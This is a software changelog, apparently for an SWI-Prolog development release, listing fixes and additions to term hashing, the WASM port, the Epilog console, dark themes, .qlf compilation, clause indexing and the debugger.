  • TEST: term_hash/2,4: WASM produces different results due to 32
    bit limit.

  • FIXED: Starting interactive mode failed if the history cannot be
    initialised. This prevents running Prolog interactively if there is no
    HOME directory or the config directories and files cannot be created.

  • FIXED: prolog:translate_bindings/5 looped As CA1_LPROC arguments
    were resolved against the head module rather than the body context,
    this predicate called itself rather than the local defininion in
    toplevel.pl .

    This predicate is used by Pengines and SWISH.

  • TEST: term_hash/2 for LibBF on little endian machines.

  • TEST: Update term_hash/2 tests for big endian results.

  • MODIFIED: Removed '$open_xterm'/5 This predicate allowed for using
    the xterm application to provide a console for a background thread.
    This is now covered by Epilog. Also, xterm is no longer widely
    supported.

  • TEST: term_hash/2: hash depends on GMP vs LibBF. Handle and document.

  • THEME: dark : darker colour for unused import background

  • FIXED: WASM: Avoid leaning strings in Prolog.get_chars()

  • WASM: Added Prolog.__with_strack_strings() This interface allows
    for cleanup of temporary strings. It provides a WASM version of
    PL_STRINGS_MARK() ... PL_STRINGS_RELEASE()

  • FIXED: edit/1 to merge all locations considered identical.

  • TEST: Fixed test for simplified ansi_format/3.

  • FIXED: Inherit the Prolog flag max_integer_size in new threads.

  • MODIFIED: term_hash/2: extended range As tagged integers now have
    the same range on all platforms, the range for term_hash/2 has been
    extended to the max tagged integer.

    You can get the old hash by masking the lower 24 bits.

  • BUG: The test values for big endian are not updated as I do not
    have access to big endian hardware right now. Please submit the
    corrected values. See tests/core/test_hash.pl .

  • ADDED: set_thread/2 Generic interface for modifying thread properties.
    Currently controls the debug status of a thread. Will absorb most
    other properties.

  • DOC: thread_property/2 did not document the debug property.

  • FIXED: swipl-win: print backtrace on uncaught exceptions in Epilog.

  • FIXED: Simplification in 057d69387e240ebf90af8f9c9d5783c5203887fa
    was wrong.

  • FIXED: #1384 message printing is disabled after an uncaught exception
    inside a transation Assert and erase listen inconsistently to
    P_TRANSACT , causing a clause for user:thread_message_hook/3
    to remain.

  • THEME: Support dark theme in selections in text objects.

  • DOC: Cmake font options

  • THEME: Redefine graphical.selected_foreground and
    graphical.selected_background

  • THEME: dark: fixes for GUI tracer breakpoints and redo ports.

  • ENHANCED: ls/0,1: create hyperlinks for Prolog source files. File
    presentation style can be tweaked using the shell:file_style/2 hook.

  • THEME: dark theme to improve readability of => rule guards.

  • BUILD: Avoid relying on environment variables for xpce steps Somehow,
    using cmake --env does not work correctly on all platforms.
    This patch adds and uses an -DSDL_VIDEO_DRIVER=dummy commandline
    option for the Prolog build steps.

  • FIXED: incorrect inclusion of cluster data in default text profile
    data First attempt at new format incorrectly tried to merge callee
    data into predicate overall times

  • FIXED: predicate_label/2: support [] as functor name

  • ADDED: prolog_trace_interception/4: support halt Halting from the
    callback no longer works since halt/1 is implemented as an exception.
    This caused “Exit Prolog” from the GUI debugger to be ignored.

  • THEME: Make quasi-quotation syntax readable in dark theme [no ci]

  • UNICODE: Updated library(unicode/blocks) Updated to version 16.0.0
    of the Unicode standard.

  • THEME: dark theme to fix up cycle menus.

  • ENHANCED: Update profile/1,2 text output Enhanced default version
    of show_profile/1

  • FIXED: Prevent building the pack.pl app when there is no
    library_pack The library is build conditionally starting from
    2793ca547c3b185f50d2ce803c582874fc583b70.

    Signed-off-by: Nicola Vetrini nicola.vetrini@bugseng.com

  • PPA: Fixed plucky version to include the GUI

  • THEME: dark: improve colour for option_name and SSU rule guard.

  • FIXED: prolog_read_source_term/4L respect :- encoding(+Enc)

  • FIXED: Avoid Unicode characters in otherwise ASCII files Files used
    Unicode variations on ’ and -

  • FIXED: swipl-win installation for MacOS when not creating a bundle.

  • PPA: Updated scripts/make-ppa to setup building without gui for
    older distros

  • ADDED: Empty light theme file.

  • FIXED: Code generation for unification moved to the head. Minimal test
    case: p(X, Y) :- X = f(Y), Y = a. . Issue occurs if a variable is
    accessed (Y) before its unification must be moved to the head.

  • FIXED: Building; typo in prolog_pack/http fix

  • BUILD: Avoid installing some libraries with missing dependencies -
    Do not install library(prolog_pack) if http support is missing.

    • Do not install SICStus timeout compatibility if multi-threading
      is not enabled.
  • FIXED: library(prolog_xref): added some missing hook declarations.

  • THEME: Dark theme declarations for class list_browser and the profiler.
    Requires the SDL version of xpce.

  • ENHANCED: Improve dark theme Only applies with new SDL based xpce

  • PORT: Fixed MacOS installer to include transitive dependencies and
    fix the @rpath .

  • BUILD: Fixed PGO build with -DEPILOG=ON

  • BUILD: Ensure proper GUI environment for building the manual.

  • ADDED: Support -Dtheme=<theme>

  • PORT: Update scripts/macos-deps.sh Update most ports, add SDL3,
    SDL3_image, cairo and pango.

  • ADDED: Working directory handling for MacOS app.

  • PORT: Create a MacOS bundle based on Epilog.

  • ENHANCED: interactor/0,1: use epilog when available. In the long
    term we will drop xterm support as well as native win32 support.

  • EPILOG: Deal with --win-app option in a way that also supports
    epilog.

  • ENHANCED: Remove thread context for threads running the REPL loop.
    This avoids the complicating [Thread xyz] note on messages in
    alternate consoles such as Epilog or SSH shells.

  • ADDED: Prolog flag toplevel_thread . This flag is true in a thread
    that is currently running a REPL loop.

  • FIXED: Edit from PceEmacs using popup could raise an error.
    E.g. ERROR: prolog_edit:is_file_spec/1: No rule matches
    prolog_edit:is_file_spec(20_625_830)

  • BUILD: Add CMake -DEPILOG option This option prepares the core
    for the upcoming Epilog configuration. It must be used with the
    sdl branch of packages/xpce . Effect:

    • Drop library(readline)
    • Drop swipl-win, either Windows version or Qt version.
    • Create a new swipl-win that is a copy of swipl that sets the
      epilog flag. Depending on the platform some more additions
      may be needed.
  • PORT: Find MinGW DLL dependencies more dynamically This provides two
    CMake functions to find the direct and indirect MinGW DLLs that must
    be included into the distribution

  • ADDED: Allow storing the tty screen size with a stream. This is
    required for environments where we use a non-tty I/O device such as a
    pipe or socket while there is a notion of a tty size. Currently used
    for Epilog on Windows.

  • MODIFIED: print_term/2: print dict tags and compound functors using
    the current write options. Both used to be printed hardwired using
    ~q (quoted).

  • FIXED: When rational_syntax is natural , write /(Int,Number) with
    spaces. This ensures such a term is not read as a rational number.

  • FIXED: Use autoload_call/1 to avoid reporting undefined predicates.

  • MODIFIED: Make the code walker ignore calls to autoload_call/1.

  • ADDED: autoload_call/1: call Goal after autoloading.

  • PORT: Avoid errors on sharing violations.

  • FIXED: Windows: comparing string equality with surrogate pairs
    Comparing strings with surrogate pairs could signal inequality while
    the strings are equal.

  • FIXED: Unification to chars or codes of wchar_t text on Windows.

  • PORT: Discontinue 32-bit windows builds.

  • PORT: Support library(editline) (libedit) on Windows. This provides
    cross-platform commandline editing with Prolog-sensitive completion.

  • ADDED: Windows: tty_size/2 to also work on Windows consoles.

  • WASM: Deal with new PL_prompt_string() API

  • MODIFIED: Signature for PL_promot_string() and PL_prompt_next() These
    API functions now use the Prolog stream as argument to facilitate
    better support for Windows.

  • ADDED: IOSTREAM* control message to get the Windows HANDLE

  • FIXED: wait_for_input/3: use Swinsock() from pl-stream.c rather than
    a local macro This ensures proper error messages if the input is not
    a socket.

  • MODIFIED: PL_dispatch() and friends now use IOSTREAM* instead
    of int . This is a first step to merge simultaneous handling of
    console outout and GUI dispatching for POSIX systems and Windows to
    a common design.

  • WINE: Waiting for windows console input now works for wine.

  • PORT: Make installing INDEX.pl files work on Windows. Concurrency
    may cause sharing violations. This patch retries renaming the index
    file several times.

  • FIXED: Possible early reclaim of closure blob after unwrapping
    a predicate. PL_unregister_atom() was called twice.

  • ADDED: Incorporate epilog into the toplevel. These patches prepare
    for the XPCE based swipl-win . May be started by using the sdl
    branch of xpce and run as

    swipl -Depilog [arg ...]
    
  • ADDED: ‘$run_state’/1 to query the current run state Can be used to
    detect code is running as part of the cleanup hooks.

  • BUILD: Use SDL_VIDEODRIVER=dummy for running Prolog steps This
    makes sure the new SDL based xpce does not try to open graphics and
    is harmless on other targets.

  • FIXED: Move swipl-win history support to library(win_menu). This
    library is loaded as source and thus conditional compilation applies.
    library(prolog_history) is compiled to .qlf. Now the code is also
    where it belongs.

  • FIXED: When generating _X variable names, avoid query variable names.
    Consider the below example by Jan Burse. Using _A in the answer is
    at least confusing. We must not only skip variable names that appear
    in the projection, but also variable names from the query that are
    not in the projection.

    ?- length(L,2), f(L) = R, S = [_A].
    L = [_A, _B],
    R = f([_A, _B]),
    S = [_A].
    
  • FIXED: Terminal REPL loop using thread_exit(io_error) on an io_error
    during read.

  • FIXED: Termination of a REPL loop due to error state of the streams
    This did not properly close the query, crashing the system in the
    thread cleanup.

  • FIXED: thread_join/2: could leave L_THREAD mutex locked on error.

  • ADDED: Allow thread_signal/2 to raise native signals by number.
    This can be used to raise e.g. SIGINT in a thread to debug it.

  • FIXED: enable_line_editing/3 to avoid conditional compilation.
    This is needed to make library(threadutil) work as .qlf module.

  • FIXED: write/1,2 to take rational number syntax from module user .
    Before, only write_term/2,3 supported “natural” rational number syntax.

  • FIXED: Make the stream macros Suser_input safe when called from a
    non-Prolog thread Called from a non-Prolog thread caused these macros
    to crash. They now return NULL. The main-thread I/O can be obtained
    using Sinput , Soutput or Serror .

  • ADDED: Allow hooking into the terminal link generation.

  • FIXED: Various details for the sys app

  • ADDED: Prolog flag linux

  • FIXED: QLF format to store references to predicates in the current
    module by functor. Otherwise, if a predicate is imported the clause
    will point at the import location, bypassing the predicate resolution
    that happens when loading the source.

  • BUILD: Avoid cmake warnings.

  • ENHANCED: jiti_list/0,1 - Provide collision stats - Order predicates
    alphabetically - Use tty hyperlinks when supported to allow jumping
    to the definition

  • FIXED: ansi_hyperlink/3: Fix position logic Make sure the column admin
    is not updated when writing the escape sequences. This allows mixing
    with format/1-3 tag specifiers.

  • ENHANCED: Make sure that small clause index tables have no collisions.

  • ENHANCED: Use Fibonacci hashing for clause indexes.

  • ENHANCED: Index performance on common arguments. Given a predicate
    with many clauses that has one or more arguments with only a few
    possible values and (thus) many clauses in the hash buckets for each
    of these values force fast failure when using a query with a value
    that does not appear in that argument.

    For example, suppose we have a business database that records the legal
    status in one of the columns (arguments). A query with a non-existing
    lega status should fail quickly. In the old system, the small number
    of values could easily lead to a hash colission, causing the system to
    try all clauses with the legal status of the collision.

    This issue was reported by Abramo Bagnara

  • FIXED: #1364 nb_set_to_list/2 could skip elements.

  • FIXED: version/1: avoid redefined warning.

  • FIXED: ansi_get_color/2: avoid errors on swipl-win (Qt)

  • ENHANCED: Windows: use native fonts for bold and support
    bold+underlined.

  • ADDED: Freedesktop.org Desktop integration files. This patch adds
    a directory desktop with icons and desktop integration files.
    A particular version can be activated as desktop application using

    swipl sys desktop [--global] install
    

    The activation canbe removed using

    swipl sys desktop [--global] remove
    
  • ADDED: Windows swipl-win.exe : support underlined fonts Support
    \e[4m to print underlined text.

  • ADDED: Windows: swipl-win.exe : support hyperlinks. This patch enables
    terminal escape sequences to embed hyperlinks. file:// links
    are then mapped to edit/1 and other links are opened in the browser.

    This patch also fixes several issues and provides cleanup to the
    swipl-win.exe console code.

  • FIXED: Report correct number of clauses when loading .qlf files
    Reported 0 (zero) clauses for all .qlf files.

  • FIXED: ?- edit(file('myname.pl')). to create a new file.

  • FIXED: Do not precompile several files This patch stops precompiling
    the libraries win_menu, threadutil and check_installation. The sources
    are full of conditional compilation that also depends whether or not
    swipl or swipl-win is started.

    Using runtime conditionals is possible, but would lead to many
    undefined predicate warnings.

  • FIXED: Create menu in Windows and Qt consoles. Broken due to
    conditional compilation that excluded the call to init_win_menus/0
    from the .qlf file.

  • BUILD: prohibit building in the source directory.

  • TEST: Include clpfd test with tabling.

  • DOC: Constraints and tabling

  • TEST: Merge XSB attributed variable tests. This updates several of the
    tests, documents what tests cannot be executed due to incompatibilities
    and extends the XSB dialect emulation to deal with a later part of
    the attributed variable interface.

    The tests both deal with basic attribute handling and with (simple)
    tabling
    that involves attributes.

  • FIXED: Support attributed variables in “fastheap” terms. These are
    used by tabling and delimited continuations.

  • FIXED: Handling attvars in answer tries.

  • FIXED: library(prolog_source): undefined html_write:html_meta_head/3

  • XSB: Added basic attributed handling to emulation Library
    machine now exports get_attr/3, put_attr/3, del_attr/2 and
    install_verify_attribute_handler/4.

  • ADDED: library(prolog_profile): Prolog flags for defaults -
    profile_ports provides the default “mode”, now true -
    profile_sample_rate provides the default sample rate (200)

  • DOC: clause/3: describe properties of clause references.

  • DOC: retractall/1 and logical update view section.

  • DOC: Moved some sections in the “Database” section of the manual.

  • BUILD: Better support for cmake < 3.20

  • PPA: Updated releases - Added Plucky Puffin (25.04) - Removed Focal
    Fossa (20.04) and Bionic Beaver (18.04)

    The latter two fail to build the Janus interface due to too old
    Python versions.

  • ADDED: Support attvars in trie_gen_compiled/2,3 This patch also
    fixes an issue in trie_gen_compiled/3 that caused unintended variable
    sharing between the key and value.

  • FIXED: Allow building with installed .QLF files when the VM changes.
    A VM mismatch raised a fatal error during boot. This is now relaxed
    to a normal exception.

  • ADDED: Partial support for attributed variables in tries. This first
    step deals with inserting and generating. Trie compilation is not
    yet supported (crashes on unexpected key in the trie).

  • FIXED: swipl qlf app: report incompatible .qlf files

  • BUILD: Provide additional .qlf dependencies.

  • FIXED: swipl qlf app: dependency warnings and clean subcommand

  • FIXED: trie_gen_compiled/3: crash if value is cyclic or contains
    attributes.

  • INSTALL: Enable compiling .qlf files by default.

  • ENHANCED: swipl qlf app - info:
    - by default list all info - list:
    - add -u ( --update ) to only list out-of-data .qlf files
    - Produce machine format if output is not a terminal.

  • ENHANCED: Add macro expansion dependencies to .qlf files.

  • ADDED: swipl qlf info to accept multiple files.

  • ENHANCED: source_file_property/2 performance Speedup
    source_file_property(File, load_context(…)).

  • ENHANCED: Distinguish different file dependencies in .qlf files.

  • ENHANCED: qlf file record included files These are also shown by

    swipl qlf info -s <file.qlf>
    
  • ENHANCED: Record included files in .qlf files with path translation.

  • FIXED: source_file_property/2 to work without sources.

  • FIXED: qlf_make/0 for out-of-date computation for aggregate .qlf files.

  • FIXED: Allow for discontiguous autoload/1 and autoload/2 directives.

  • FIXED: dicts_to_compounds/4 if dicts have non-atom tags.

  • DOC: Singleton section was outdated. After comment by Jan Burse.

  • PORT: Deal with dropped support for partial literals in phrase/2,3

  • MODIFIED: ISO: phrase/2,3: do not allow for partial lists as terminal

  • FIXED: WASM: Missing (chr) dependency caused build to fail.

  • WASM: Added table for mapping HTML attribute names to DOM attributes.

  • FIXED: prolog_load_context/2 for file to work correctly for .qlf.

  • FIXED: Only emit hyperlinks if hyperlink_term is true.

  • ADDED: Start a new library(dom) based on html//1

  • MODIFIED: WASM: Move library(dom) to the dialect tau . We plan on an
    alternative library(dom). As a consequence, we move the Tau emulation
    library to the newly added Tau support in SWI-Prolog’s dialect support.

  • FIXED: library(dom) set_attr/3: allow for atoms as values.

  • BUILD: Support cmake < 3.20

  • FIXED: Using tabling when configured for debugging with autoloading
    disabled.

  • WASM: Enhanced error message when evaluating :=/2

  • FIXED: Clear FR_SKIPPED after skip/up in yield-based debugger.

  • FIXED: continue in trace mode after hitting a spy point. This was
    broken when using Prolog defined tracing in recent rewrites.

  • FIXED: Retrieving source info for Head --> "terminal", ...

  • DEBUG: Attempt to improve visible trace points in the debugger.

  • FIXED: xref_public_list/3 on absolute .pl file on qlf-only release.

  • FIXED: file_autoload_directives/3: Handle absence of sources Use
    public xref_public_list/3 rather than a private predicate from
    boot/autoload.pl that is designed for source only.

  • FIXED: library(dom) get_by_id/2: getElementById() returns null
    on failure

  • WASM: library(dom): Tau-Prolog compatible handling of set_style/3 and
    get_style/3 Several DOM style strings are translated to Prolog terms.

  • ADDED: library(dom): remove_class/2.

  • WASM: Move bind/4 from library(dom) to library(wasm) Also added wait/3.

  • DOC: Added library(wasm) and library(dom) to documentation server.

  • DOC: library(wasm)

  • ADDED: WASM: Prolog.promise_event()

  • WASM: bind/4 can now handling JavaScript objects without using the
    database

  • WASM: Updated bind.html demo.

  • ADDED: Complete the Tau-Prolog compatibility library(dom).

  • ADDED: WASM: Allow for nested #(Value)

  • WASM: Prolog.bind(): added options.

  • BUILD: Install pldoc/hooks.pl instead of the .qlf file This is an
    include file that is used by the web server to customise PlDoc.

  • FIXED: library(prolog_colour): handle non-ground directives. E.g. :- use_module(mymodule, [op(_,_,_)]) .

  • MODIFIED: prolog:xref_update_syntax/2 This hook is now called both with
    the raw and expanded terms. Directives are called as (:- Directive)
    rather than the plain term.

    The hook was (no longer) used, so this should have limited impact.
    It is now introduced for library(http/html_write).

  • FIXED: library(prolog_xref): missing multifile declaration.

  • FIXED: library(prolog_colour): style mismatch for multifile heads.

  • ADDED: Support access to public predicates for library indexes

  • ADDED: xref_public_list/2: get information from library INDEX.pl
    Using the INDEX.pl file provides a fast and simple way to get the
    library exports and meta-predicate information. Still need to deal
    with public predicates.

  • MODIFIED: INDEX.pl files. Thes files used to contain

    • index(Name, Arity, Module, File)

    This is now modified to

    • index(Head, Module, File)

    Where Head contains (where known) the mode and/or meta-predicate
    indicators. The index files now also contain the op(Pri,Type,Name)
    terms from the export list.

    This provides faster and simpler access to meta-predicate and
    operator relations between modules.

  • FIXED: edit/1 using edit(file(File)).

  • FIXED: edit/1: find e.g. library(lists) if only qlf files are
    installed.

  • DOC: #1358 prolog_stack_frame_property/2

  • ADDED: prolog_colourise_term/4: option current_variable(Name)
    This causes the marking to mark the named variable with the class
    current_variable .

  • WASM: Prolog.consult(): added engine:true option. This allows
    loading files to proceed asynchronously.

  • ADDED: xref_source/2: stream(In) option This allows processing
    arbitrary data.

  • WASM: Do not install the package build tools.

  • ADDED: qlf app swipl qlf info -e file.qlf Show exports of the
    .qlf file.

  • ENHANCED: library(prolog_xref) without sources Get exports from
    .qlf files.

  • MODIFIED: edit/1: use dicts for representing (partial) locations.
    As a result, hooks info the editing infrastructure need to be updated.

  • ENHANCED: edit/1 - Feedback on locations - Code simplification and
    modernizing

  • CLEANUP: edit/1 - Avoid deprecated us of absolute_file_name/3. -
    Avoid proposing .qlf files.

  • ADDED: prolog_file_directives/3 This predicate used to be part of
    library(prolog_xref). It is now public from library(prolog_source).

  • DOC: Update CMAKE.md to include instructions on Python installation
    Added a list of the options useful for installing Janus

  • DOC: install with symlinks

  • WASM: Use lz4 compression for data file.

  • WASM: Demo server to serve library sources.

  • WASM: Support library(chr). The package was compiled, but only
    partially installed and thus non-functional.

  • WASM: Enable adding packages in the node version This was disabled
    due to issues with Emscripten opendir(), but these seem resolved.

  • WASM: Support INSTALL_QLF and INSTALL_PROLOG_SRC CMake flags

  • WASM: Remove several libraries that cannot be supported

  • BUILD: Allow qlf builds without PlDoc and xpce

  • DOC: WASM function Prolog.query() Documented nodebug and string
    options.

  • WASM: Prolog.query(): add option {string:"atom"}

  • ENHANCED: Generalise user interaction on answer Allow reusing the
    toplevel answer user interaction by using an alternative input.

  • ENHANCED: qlf app to report .qlf files without sources. Used to
    report these as out of data.

  • FIXED: We must insert I_CONTEXT in multifile predicates Multifile
    predicates are typically installed in modules using target:head :- body , where body is executed in the containing module. This is
    achieved using an I_CONTEXT VM instruction. Before, when the predicate
    contains one such clause, it set P_MFCONTEXT and inserted a
    I_CONTEXT for each subsequent clause. When using .qlf files though,
    the files may be loaded in different order than when creating the
    .qlf files, leading to clauses without an I_CONTEXT instruction to
    follow clauses with this.

  • ENHANCED: library(prolog_xref): cleaner exception handling.

  • ENHANCED: Allow cross-referencer to deal with .qlf files

  • BUILD: Added CMake option -DINSTALL_PROLOG_SRC=OFF This can be
    used together with -DINSTALL_QLF to ship the Prolog libraries as
    .qlf files without including the sources.

  • FIXED: Handle autoload/1,2 declarations in aggregate .qlf files

  • FIXED: load_files/2: resolve to files loaded from .qlf Some qlf
    files may load multiple source files. When looking for a file in
    e.g. use_module/1,2, first try the file system, but on failure ee
    whether we loaded a .qlf file that registered the required file.

  • FIXED: Use canonical .pl files for all admin purposes. Despite the
    fact that code is loaded from .qlf files, use the .pl file from which
    the .qlf file is compiled for admin purposes.

  • ADDED: ‘$qlf_module’(+File, -Dict) This predicate extracts properties
    for a module without loading it. This is required to make autoload/1,2
    work if we remove the source files.

  • MODIFIED: absolute_file_name/3: distinguish file types prolog and
    source These used to be synonyms. Now prolog includes .qlf
    and source does not.

  • INSTALL: Install .qlf files if these have been build.

  • ADDED: library(prolog_qlfmake) This library allows for compiling the
    entire library to .QLF files.

  • ADDED: Prolog flag source . This flag can be used to ignore the
    .qlf files in the library and load the .pl (source) files instead.

  • ADDED: library(prolog_qlfmake) This library allows for compiling the
    entire library to .QLF files.

  • FIXED: Do not keep an erased clause when doing an incremental
    compilation

  • ENHANCED: qcompile/1: preserve predicate properties When compiling
    clauses for another module as commonly done as a return of
    term_expansion/2, preserve the multifile and dynamic properties,
    such that the module can be loaded as qlf and later loading of the
    module into which the clauses are added does not wipe the predicate.

  • FIXED: Debugging the fail port of Prolog defined built-in predicates.

  • FIXED: If engines are enabled without threads, call the main engine
    main .

  • WASM: Fixed abort handling.

  • WASM: Fixed yieldable using Prolog.call() running in engine.

  • ENHANCED: trap/1: stop trapping direct catch. Do not trap the debugger
    for catch(SytemPred, _, _) . Such calls are very unlikely interesting
    to the debugger.

  • ENHANCED: logic to trace a call to a system predicate Consider system
    with a stack user ← meta ← system as a debug frame. For example,
    trace char_code/2 in the code below.

    p1 :- catch(char_code(_,_), error(_,_), fail).
    
  • FIXED: finish command of GUI debugger. This fix adds skip(Frame)
    to the possible replies from prolog_trace_interception/4 and deletes
    prolog_skip_frame/1.

  • FIXED: prompt1/1 called in mode (-) must fail if there is no “first”
    prompt.

  • ADDED: Prolog.call(): allow passing the goal using Prolog.Compound()

  • FIXED: Prolog.Compound() constructor

  • ADDED: wasm_query/1, support running a single query interactively.

  • BUILD: Avoid CMake generating paths with double “/”

  • BUILD: Updated cmake_minimum_required to 3.10 as adviced in CMake 3.31

  • FIXED: Handling skip in the gui tracer. Incorrectly detected that
    an exit was from a skipped frame. We could also consider to move
    this into the exit port, e.g., present the port as exit(skip).

    The GUI tracer can be simplified as process_trace_action() is dealing
    with more details of handling the user continuation.

  • CLEANUP: Remove restoring REDO port from tracePort() This is dealt
    with in the VM backtracing code and (thus) never reached.

  • WASM: Fixed Prolog.consult() in strict mode

  • FIXED: #1352 open_resource/2: Unknown procedure: ‘$rc’:zip_close/2

  • ADDED: ansi_hyperlink/3: better handling of URLs

  • WASM: Rename shell to “tinker”. Tool will be named “SWI-Tinker”

  • WASM: More URL handling.

  • FIXED: PL_put_chars(): unregister atom when using PL_ATOM .

  • WASM: Support single character input from the user (get_code/1, etc.)

  • ADDED: prompt1/1 can retrieve current prompt using a variable.

  • BUILD: #1350 Auto-include utf8proc if documentation is requested.

  • WASM: Support include/1 from files loaded using a URL

  • FIXED: Sandbox: declare distinct/1,2 as safe (uses tries).

  • WASM: Allow reusing a query in the shell.

  • WASM: Added options to Prolog.consult() This allows for
    Prolog.consult(file1, file2, ..., {module:"project"})

  • WASM: Give proper warning on ?- [user].

  • WASM: Added decoding of ansi hyperlink sequence

  • WASM: Handle read/1 and friends in shell

  • MODIFIED: (Undocumented) PL_prompt_string() now returns UTF-8

  • WASM: Added tty_size/2 and get_single_char/1 to shell

  • WASM: Added upload and download buttons for WASM shell.

  • WASM: Simple debugger for the browser shell.

  • WASM: Added decoding of ANSI escape sequences

  • WASM: Prolog.call() provides nodebug option. Also add Prolog.Term()
    class that allows for creating terms from term handles or strings.

  • WASM: Split shell demo into multiple files.

  • WASM: Reorganised directory

  • WASM: Fixed dealing with heartbeat events.

  • DEBUG: Use swipl-web.js rather than swipl-bundle.js for debugging

  • WASM: Minimally working Prolog tracer in the browser

  • WASM: Fixed standard I/O flushing. Notably writing to user_error
    was flushed on a newline.

  • WASM: Fixed Prolog.write()

  • ENHANCED: Error message when using WASM await/2 in synchronous query.

  • FIXED: We must discard foreign environments While unwinding an
    exception, before we discard a frame, which may call the foreign
    cleanup handler, we must discard newer foreign environments.

  • FIXED: Extended query solutions from int to int64_t Otherwise,
    PL_new_solution() is limited to 2G solutions.

  • FIXED: PL_yield_address(): preserve foreign environment

  • FIXED: State handling using PL_yield_address().

  • FIXED: library(block) (SICStus emulation) warns about append/3.
    Reported by Peter Ludemann.

  • FIXED: wrap_predicate/4: possible double free after unwrapping The
    copy of the predicate held in the closure should not copy the lingering
    list and we must avoid lingering the wrapped supervisor as it becomes
    owned by the closure.

  • ADDED: Yield based debugger support This patch introduces a large
    number of changes to the VM as well as the debugger code. It allows
    interacting with the Prolog debugger using yield , i.e., instead of
    calling a hook when a Prolog port is passed it makes PL_next_solution()
    return. The environment can examine the state, make calls on this
    Prolog engine and finally set how the session must be continued and
    resume PL_next_solution().

    The interaction is similar to user:prolog_trace_interception/4, used
    to drive the GUI debugger using callbacks. Given this, it becomes
    possible to write a debugger for the WASM version for using in
    the browser. This can either be a traditional console debugger or
    a graphical debugger similar to the native debugger.

    This patch reorganises notably the backtracking and exception handling
    code in the VM, splitting these large pieces of code into many VM
    helper functions. It also reorganises several parts of the builtin
    debugger to facilitate code reuse between the callback and yield
    based debuggers.

    This is a squash commit of the trace-yield-state branch.

  • ADDED: print_prolog_backtrace/3: show_files(+How) option

  • CLEANUP: Delete VMI profiling code. As we have VMI functions and
    much better profiling tools this merely complicates the sources.

  • MODIFIED: abort/0: disable debug mode.

  • ADDED: WASM: options parameter to Prolog.query() and Prolog.forEach()
    to control running in a dedicated engine.

  • DOC: Class Engine

  • WASM: Improve Query and Engine interaction and benchmark suite

  • DOC: Docuemnt scripts/configure in CMAKE.md

  • MODIFIED: By default enable engines in single threaded version.
    The impact on performance and size is minimal.

  • ADDED: Support Prolog engines in the WASM JavaScript interface

  • ADDED: PL_current_engine() Although we can also fetch the current
    engine using PL_set_engine(), this API is simpler and faster and
    notably easier to handle for e.g., the WASM version.

  • WASM: Use (hard) links to populate the wasm-preload directory. This
    makes incremental builds work correctly if Prolog files are changed.

  • ENHANCED: No longer trigger AGC from CGC We used to trigger this if
    there are a fair amount of clauses that have been erased for which
    we have a clause reference. As we remove these clauses anyway from
    the indexes, they only cost memory and thus leaving the decision to
    normal AGC seems fine.

    In due time we should probably consider atom sizes when considering
    AGC.

  • ADDED: PL_set_query_data() and PL_query_data() These allows attaching
    user data to a Prolog query. This allows for efficiently tracking
    the role and status of a query in an application.

  • ADDED: Better engine corouting support from C using PL_WITH_ENGINE()

  • WASM: Missing build dependency

  • CLEANUP: conditional dead code when using engines without threads.

  • WASM: Associate await/2 state with the engine This is part of
    supporting multiple engines in the WASM version.

  • ADDED: PL_query_arguments() This finds the arguments of the primary
    goal of a query.

  • ADDED: Support engines in single-threaded version This patch revives
    an old proof-of-concept option to include engines in the single
    threaded version. The code compiles and tests again. Added Prolog
    flag engines to indicate the system has engine support.

  • DOC: Extended state values for PL_next_solution()

  • ADDED: Provide SWIPL_HOME macro from swipl-ld

  • TEST: Move tests from src/Tests to tests This simplifies navifating
    the source tree. It notably allows us running git grep in the
    src directory for C code without false hits from the Prolog tests.

  • BUILD: Support multiple Emscripten environments in scripts/configure

  • PORT: WASM: Silence unused main warning. Main is a tiny function
    that pulls in no extra dependencies, so keeping it in is easier than
    leaving it out.

  • PORT: Support Emscripten 4 - All source must be in --pre-js as the
    --post-js is loaded
    after the module is initialized and thus we cannot initialize
    Prolog
    there. - Bug in Query constructor, passing an integer rather
    than a string.

  • FIXED: Compilation on single-threaded systems.

  • FIXED: debugging/0 fails to report spy points. Because debugging/0
    runs the implementation in nodebug mode it never reports that debug
    mode is on and the set spy points.

  • PORT: Avoid C23 static_assert() without message

  • MODIFIED: Only include <windows.h if
    SWIPL_WINDOWS_NATIVE_ACCESS is defined This provides the types and
    prototypes for the Swin* functions that provide access to underlying
    HANDLE and SOCKET objects.

  • ADDED: swipl-win console ^Y bound to paste_quoted.

  • ENHANCED: Simplify shallow backtracking code

  • ADDED: jiti_suggest_modes/0,1 Inspect the created JIT indexes, looking
    for arguments for which we could create an index, but the predicate
    is never called with the argument instantiated.

  • ENHANCED: Handling of candidate deep indexes.

  • MODIFIED: predicate_property/2 indexed(-Indexes) property Now returns
    the indexes as a list of dicts. This supports new features and is
    easier to extend as indexing is further refined.

  • ADDED: Low level support to compute all useful hash indexes and
    their properties. Accessible from Prolog as ‘$candidate_indexes’/3

  • DOC: Clarified PL_get_arg() and _PL_get_arg().

  • FIXED: indexableCompound() This function is used to see whether
    a deep index is possible. It could generate wrong results, both
    missing indexes and making useless indexes.

  • TEST: Cleanup reload test Layout and use assertion/1 such that we
    can more useful feedback

  • ENHANCED: explain/1 Several enhancements, notably list predicates with
    certain properties and provides some more detail on various objects.

  • FIXED: Cleanly destroy claused indexes on free.

  • FIXED: Detection whether a compound can be used for deep indexes.
    This incorrectly considered H_VOID/H_VOID_N to be indexable.
    Also documents and uses bool .

  • FIXED: addClauseToListIndexes() could skip indexes

  • ENHANCED: Inserting new clause indexes

  • FIXED: Crash in clear_frame_vars() when compiled for debugging

  • ADDED: library(prolog_colour): colour mode/1 directives. Coloured as
    meta_predicate and therefore still accepts the non-mode specifiers.

  • ADDED: check/0: print dummy mode declarations.

  • FIXED: Control-C + abort while printing output may exit REPL.
    If the abort is handled by PL_handle_signals() called from flushing
    the output, the stream is set in error state. If releasing the
    stream re-raises the exception it should clear the error state from
    the stream.

  • CLEANUP: Remove unused supervisor instructions S_ALLCLAUSES and
    S_NEXTCLAUSE

  • DOC: JIT indexing for vs [ | ] and “primary” index

  • ADDED: mode/1 and predicate_property/2 property mode(-Head)

  • ENHANCED: Generalize S_LIST supervisor for any argument. The S_LIST
    supervisor is now used to select between an [] and [_|_] clause
    regardless of the argument.

  • FIXED: Clause analysis that involves multiple calls to skipArgs()
    In this case we need to keep context for dealing with H_VOID_N ,
    skipping N void arguments.

  • FIXED: reexport/2: allow for op(Priority,Associativity,Name) Consistent
    with use_module/2 as (now explicitly) claimed. Reported by Rick
    Workmann.

  • FIXED: alloc_assessment(): check for malloc() failure

